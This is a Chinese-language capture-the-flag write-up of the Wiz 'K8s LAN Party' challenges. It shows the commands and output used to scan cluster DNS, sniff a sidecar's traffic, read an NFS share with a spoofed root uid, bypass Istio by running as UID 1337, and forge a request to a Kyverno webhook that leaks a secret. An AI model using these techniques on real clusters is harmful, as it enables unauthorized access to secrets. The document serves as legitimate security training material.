集群中利用 DNS 来发现 Service 具体原理 10.k8s-Service 资产发现
先查看环境变量确认一部分service的网段
player@wiz-k8s-lan-party:~$ env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
USER_ID=57f211f9-0a09-4a67-9fa3-3838d244bf6e
HISTSIZE=2048
PWD=/home/player
HOME=/home/player
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
HISTFILE=/home/player/.bash_history
TMPDIR=/tmp
TERM=xterm-256color
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
KUBERNETES_SERVICE_HOST=10.100.0.1
KUBERNETES_PORT=tcp://10.100.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
HISTFILESIZE=2048
_=/usr/bin/env
KUBERNETES_SERVICE_HOST=10.100.0.1
获取到了IP 10.100.0.1
再利用环境中提供的 dnscan 工具扫描该网段
dnscan -subnet 10.100.0.1/16
扫描后发现了一个 Service 资产 10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local.
看名字就知道到是拿flag
直接curl
player@wiz-k8s-lan-party:~$ curl 10.100.136.254
wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}player@wiz-k8s-lan-party:~$
这里curl默认是80端口,如果不是80端口,可以尝试利用SRV记录寻找到服务对应的端口
详细利用看10.k8s-Service 资产发现
Sidecar 容器与主容器共享相同的生命周期、资源和网络命名空间。延展来说同一个 Pod 里面的容器,
其他的命名空间都是隔离的,但是 Network 命名空间是公用的。
既然共享了NetWork命名空间,我们先看一下当前pod的IP
player@wiz-k8s-lan-party:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: gre0@NONE: <NOARP> mtu 1476 qdisc noop state DOWN group default qlen 1000
link/gre 0.0.0.0 brd 0.0.0.0
3: gretap0@NONE: <BROADCAST,MULTICAST> mtu 1462 qdisc noop state DOWN group default qlen 1000
link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
4: erspan0@NONE: <BROADCAST,MULTICAST> mtu 1450 qdisc noop state DOWN group default qlen 1000
link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
2927: ns-194f16@if2928: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 0e:7e:4b:ac:9d:20 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 192.168.12.109/31 scope global ns-194f16
valid_lft forever preferred_lft forever
inet6 fe80::c7e:4bff:feac:9d20/64 scope link
valid_lft forever preferred_lft forever
再看一下网络信息
player@wiz-k8s-lan-party:~$ netstat -noe
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode Timer
tcp 0 0 192.168.12.109:35812 10.100.171.123:80 TIME_WAIT 0 0 timewait (19.11/0/0)
tcp 0 0 192.168.12.109:54358 10.100.171.123:80 TIME_WAIT 0 0 timewait (29.14/0/0)
tcp 0 0 192.168.12.109:35796 10.100.171.123:80 TIME_WAIT 0 0 timewait (14.10/0/0)
tcp 0 0 192.168.12.109:50920 10.100.171.123:80 TIME_WAIT 0 0 timewait (39.17/0/0)
tcp 0 0 192.168.12.109:44242 10.100.171.123:80 TIME_WAIT 0 0 timewait (9.08/0/0)
tcp 0 0 192.168.12.109:60308 10.100.171.123:80 TIME_WAIT 0 0 timewait (49.20/0/0)
tcp 0 0 192.168.12.109:53058 10.100.171.123:80 TIME_WAIT 0 0 timewait (54.21/0/0)
tcp 0 0 192.168.12.109:53520 10.100.171.123:80 TIME_WAIT 0 0 timewait (0.00/0/0)
tcp 0 0 192.168.12.109:54354 10.100.171.123:80 TIME_WAIT 0 0 timewait (24.13/0/0)
tcp 0 0 192.168.12.109:50912 10.100.171.123:80 TIME_WAIT 0 0 timewait (34.16/0/0)
tcp 0 0 192.168.12.109:44226 10.100.171.123:80 TIME_WAIT 0 0 timewait (4.07/0/0)
tcp 0 0 192.168.12.109:53060 10.100.171.123:80 TIME_WAIT 0 0 timewait (59.24/0/0)
tcp 0 0 192.168.12.109:60306 10.100.171.123:80 TIME_WAIT 0 0 timewait (44.18/0/0)
可以发现我们当前的Pod 192.168.12.109
不断地向 10.100.171.123:80
发送TCP请求,这明显很可疑
我们看看是哪个进程在不断的发起请求。
player@wiz-k8s-lan-party:~$ ss -ap |grep 10.100.171.123
tcp TIME-WAIT 0 0 192.168.12.109:59492 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:59082 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:45354 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:51518 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:56362 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:51520 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:48026 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:59506 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:45358 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:48014 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:59080 10.100.171.123:http
tcp TIME-WAIT 0 0 192.168.12.109:56360 10.100.171.123:http
发现进程是空的,那这就说明不是我们当前Pod容器上的进程,而是当前Pod下另一个容器的进程。也就是提示中"隐形的Sidecar容器",
因为我们共享了network命名空间,所以可以看到流量数据,却看不到进程(因为Pid命名空间隔离了)
我们直接抓流量试试
player@wiz-k8s-lan-party:~$ tcpdump host 10.100.171.123 -A |grep wiz
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on ns-194f16, link-type EN10MB (Ethernet), snapshot length 262144 bytes
wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}
nfs-cat 和 nfs-ls 的使用
在集群中,可以通过 PV(PersistentVolume)
和 PVC(PersistentVolumeClaim)
对象来使用 NFS 作为持久性存储。
首先,管理员需要配置一个 NFS 服务器,将其挂载到集群的节点上。
然后,通过创建一个 PV 对象来描述 NFS 服务器上的存储,
并创建一个 PVC 对象来请求这个 PV。
Pod 可以通过 PVC 使用这个 NFS 存储来持久地存储数据。
NFS 在集群中的主要用途之一是提供共享存储,以便多个 Pod 可以访问和共享相同的数据。
查看当前挂载信息中 NFS 挂载,可得 NFS 服务器的地址和共享路径: fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com
NFS 共享被挂载到本地的目标目录 /efs
player@wiz-k8s-lan-party:~$ mount |grep nfs
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.48.9,local_lock=none,addr=192.168.124.98)
#本地文件系统上的 /efs 目录被挂载到了 AWS 的 NFS 服务器上,
#这个 NFS 挂载是以只读方式挂载的,而且使用了 NFSv4.1 协议。
那我们查看本地的 /efs
就是在查看目标的 /
player@wiz-k8s-lan-party:/efs$ ls
flag.txt
player@wiz-k8s-lan-party:/efs$ cat flag.txt
cat: flag.txt: Permission denied
但是这个是只读的,所以这里是查看不了的
这里提示给了我们两个命令
nfs-ls
可以用于列出指定 NFS 共享文件系统中的文件和目录nfs-cat
可以用于从指定 NFS 共享文件系统中读取文件内容利用这个命令查看即可。
nfs-cat 'nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4.1&uid=0&gid=0'
这里需要指定nfs协议的版本,还有使用的用户id与用户组id,读取不了、
在 Istio 中 1337 用户的流量不会通过 Envoy 中,从而可以绕过 Istio 的规则。
https://github.com/istio/istio/issues/4286
Istio 是一个开源的 服务网格(Service Mesh) 平台,用于连接、保护、监控和管控微服务架构中的服务间通信。它通过透明的代理(基于 Envoy)与应用程序一起部署,无需修改应用代码即可提供流量管理、安全、可观测性等能力
dnsscan发现到service服务的IP与域名10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
dnscan -subnet 10.100.0.1/16
curl一下看看
root@wiz-k8s-lan-party:~# curl 10.100.224.159
RBAC: access deniedroot
权限不够
但是我们这里是一个 root@wiz-k8s-lan-party
与前面3题都不一样,当前是root权限,题目提示中也提到了。在 Istio 中 1337 用户的流量不会通过 Envoy (代理)中,不受到 istio 的网络策略管理的控制。具体风险分析 https://github.com/istio/istio/issues/4286
在Istio中,Envoy通常部署为每个服务实例的代理。当服务 A 需要与服务 B 通信时,流量会经过 A 的 Envoy 代理,然后由 Envoy 路由到 B 的实例。这使得 Istio 能够实施流量管理策略,监控流量,并提供安全性和可观察性。
查看当前系统中所有用户以及其UID,发现存在 UID 为 1337 的用户 istio,切换到该用户,再重新 curl 一下那个没有权限访问的 Service,成功获取 flag。这些操作都是需要拥有容器中 root 权限的。
root@wiz-k8s-lan-party:~# cat /etc/passwd |grep 1337
istio:x:1337:1337::/home/istio:/bin/sh
root@wiz-k8s-lan-party:~# su istio
$ curl 10.100.224.159
wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}$
还是先dnsscan一下,扫一下服务
dnscan -subnet 10.100.*.*
10.100.86.210 -> kyverno-cleanup-controller.kyverno.svc.cluster.local.
10.100.126.98 -> kyverno-svc-metrics.kyverno.svc.cluster.local.
10.100.158.213 -> kyverno-reports-controller-metrics.kyverno.svc.cluster.local.
10.100.171.174 -> kyverno-background-controller-metrics.kyverno.svc.cluster.local.
10.100.217.223 -> kyverno-cleanup-controller-metrics.kyverno.svc.cluster.local.
10.100.232.19 -> kyverno-svc.kyverno.svc.cluster.local.
看下policy
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: apply-flag-to-env
namespace: sensitive-ns
spec:
rules:
- name: inject-env-vars
match:
resources:
kinds:
- Pod
mutate:
patchStrategicMerge:
spec:
containers:
- name: "*"
env:
- name: FLAG
value: "{flag}"
可以发现有一个 Kyverno 策略,所有在 sensitive-ns
命名空间下创建的 Pod,都会自动注入一个名为 FLAG
的环境变量,其值来自 Kubernetes Secret
Kyverno 是一个用于 Kubernetes 的工具,它帮助管理配置并在集群中执行策略。通过定义自定义资源定义(CRDs)的规则,它确保合规性和安全性,从而对资源管理和行为进行精确控制。
上面服务获取到其中一个名字是 kyverno-svc.kyverno.svc.cluster.local.
kyverno-svc.kyverno.svc.cluster.local
是 Kubernetes 集群内部用于访问 Kyverno 服务的 DNS 全限定域名
hint告诉了我们admission webhook 的请求方式,要使用 post 请求,设置 Content-Type: application/json
并对 admission.k8s.io
API 组中的 AdmissionReview
对象进行序列化
AdmissionReview
对象 怎么生成:Title Unavailable | Site Unreachable
此外我们请求还要考虑到路径:
Kyverno 处理 admission webhook 请求的 HTTP 路径通常是 /validate
用于验证(validation)webhooks,和 /mutate
用于变更(mutation)webhooks。这意味着 Kyverno 在 Kubernetes 集群中注册了这些路径来接收和处理来自 Kubernetes API 服务器的 webhook 调用。当 Kubernetes API 服务器需要对资源进行验证或变更时,它会向 Kyverno 发送请求到这些路径。
然后我们创建一个 sensitive-ns namespace
的 pod ,路径应该是 /mutate
但是这里直接创建会报错:Title Unavailable | Site Unreachable
流程
kubectl apply
或 API 调用)。FLAG
环境变量(通过 Kyverno 动态修改)。Kyverno svc
:代表请求经过 Kyverno 的 Service(kyverno-svc.kyverno.svc.cluster.local
)处理,完成策略校验或资源修改。首先我们需要发送一个 admission request
,这里我们会用到一个工具 kube-review
这个工具可以将创建Pod的yaml文件直接转
AdmissionReview
请求json参数
首先创建一个pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: sensitive-pod
namespace: sensitive-ns
spec:
containers:
- name: nginx
image: nginx:latest
然后使用这个工具转成json
D:\tools\kube-review-windows-amd64>kube-review-windows-amd64.exe create pod.yaml
{
"kind": "AdmissionReview",
"apiVersion": "admission.k8s.io/v1",
"request": {
"uid": "58be2423-3579-429e-81eb-bcb30e16e763",
"kind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"resource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"requestKind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"requestResource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"name": "sensitive-pod",
"namespace": "sensitive-ns",
"operation": "CREATE",
"userInfo": {
"username": "kube-review",
"uid": "ac5e311a-7ed8-4fff-aebe-5bd900cf6975"
},
"object": {
"kind": "Pod",
"apiVersion": "v1",
"metadata": {
"name": "sensitive-pod",
"namespace": "sensitive-ns",
"creationTimestamp": null
},
"spec": {
"containers": [
{
"name": "nginx",
"image": "nginx:latest",
"resources": {}
}
]
},
"status": {}
},
"oldObject": null,
"dryRun": true,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}
然后复制这个json保存到 pod.json
然后执行下面的命令
curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno/mutate -k
执行这个命令后就会触发 mutating webhook
(动态准入控制),然后创建一个pod,并且这个Pod里面会被注入一个flag的环境变量
然后我们就获取到Kyverno 动态准入控制器(Mutating Webhook)对 Pod 创建请求的处理结果,其中就包括Base64 编码的 JSON Patch
,描述对 Pod 的修改(里面就有对pod注入flag环境变量)
player@wiz-k8s-lan-party:~$ curl -X POST -H "Content-Type: application/json" --data @pod.json https://kyverno-svc.kyverno/mutate -k
{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"58be2423-3579-429e-81eb-bcb30e16e763","kind":{"group":"","version":"v1","kind":"Pod"},"resource":{"group":"","version":"v1","resource":"pods"},"requestKind":{"group":"","version":"v1","kind":"Pod"},"requestResource":{"group":"","version":"v1","resource":"pods"},"name":"sensitive-pod","namespace":"sensitive-ns","operation":"CREATE","userInfo":{"username":"kube-review","uid":"ac5e311a-7ed8-4fff-aebe-5bd900cf6975"},"object":{"kind":"Pod","apiVersion":"v1","metadata":{"name":"sensitive-pod","namespace":"sensitive-ns","creationTimestamp":null},"spec":{"containers":[{"name":"nginx","image":"nginx:latest","resources":{}}]},"status":{}},"oldObject":null,"dryRun":true,"options":{"kind":"CreateOptions","apiVersion":"meta.k8s.io/v1"}},"response":{"uid":"58be2423-3579-429e-81eb-bcb30e16e763","allowed":true,"patch":"W3sib3AiOiJhZGQiLCJwYXRoIjoiL3NwZWMvY29udGFpbmVycy8wL2VudiIsInZhbHVlIjpbeyJuYW1lIjoiRkxBRyIsInZhbHVlIjoid2l6X2s4c19sYW5fcGFydHl7eW91LWFyZS1rOHMtbmV0LW1hc3Rlci13aXRoLWdyZWF0LXBvd2VyLXRvLW11dGF0ZS15b3VyLXdheS10by12aWN0b3J5fSJ9XX0sIHsicGF0aCI6Ii9tZXRhZGF0YS9hbm5vdGF0aW9ucyIsIm9wIjoiYWRkIiwidmFsdWUiOnsicG9saWNpZXMua3l2ZXJuby5pby9sYXN0LWFwcGxpZWQtcGF0Y2hlcyI6ImluamVjdC1lbnYtdmFycy5hcHBseS1mbGFnLXRvLWVudi5reXZlcm5vLmlvOiBhZGRlZCAvc3BlYy9jb250YWluZXJzLzAvZW52XG4ifX1d","patchType":"JSONPatch"}}player
解码后的结果就包含flag
[{"op":"add","path":"/spec/containers/0/env","value":[{"name":"FLAG","value":"wiz_k8s_lan_party{you-are-k8s-net-master-with-great-power-to-mutate-your-way-to-victory}"}]}, {"path":"/metadata/annotations","op":"add","value":{"policies.kyverno.io/last-applied-patches":"inject-env-vars.apply-flag-to-env.kyverno.io: added /spec/containers/0/env\n"}}]